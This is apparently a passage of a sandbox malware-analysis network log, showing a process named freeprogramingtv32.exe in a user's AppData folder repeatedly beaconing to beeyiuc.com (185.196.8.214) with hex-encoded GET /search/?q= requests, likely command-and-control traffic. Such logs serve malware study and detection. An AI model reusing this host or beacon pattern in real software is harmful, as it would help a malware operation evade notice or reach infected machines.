Sep 15, 2024 13:56:00.366180897 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49743	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:00.490936041 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:01.201309919 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 15, 2024 13:56:01.315649033 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:01.556662083 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49744	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:01.678262949 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:02.366827011 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49745	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:02.545629978 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:03.236615896 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 15, 2024 13:56:03.345135927 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:03.580848932 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 15, 2024 13:56:03.689874887 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:03.928208113 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49746	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:04.053483963 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:04.742130995 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49747	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:04.883038044 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:05.597886086 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49748	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:05.727824926 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:06.424293995 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 15, 2024 13:56:06.534006119 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:06.771215916 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49749	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:06.898751974 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:07.590563059 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49750	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:07.714313030 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:08.401971102 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49751	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:08.524120092 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:09.212583065 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49752	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:09.336709976 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:10.025723934 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49753	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:10.147408962 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:10.840734005 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49754	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:10.959708929 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:11.653692961 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49755	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:11.772224903 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:12.479068995 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49756	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:12.599955082 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:13.296746016 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 15, 2024 13:56:13.409562111 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:13.651885033 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49757	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:13.778920889 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:14.465457916 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49758	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:14.585882902 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:15.302892923 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49759	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:15.428392887 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:16.120045900 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49760	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:16.247484922 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:16.927876949 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49761	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:17.055031061 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:17.772099972 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49762	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:17.899636030 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:18.615401030 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49763	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:18.743433952 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:19.433630943 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49764	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:19.554986954 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
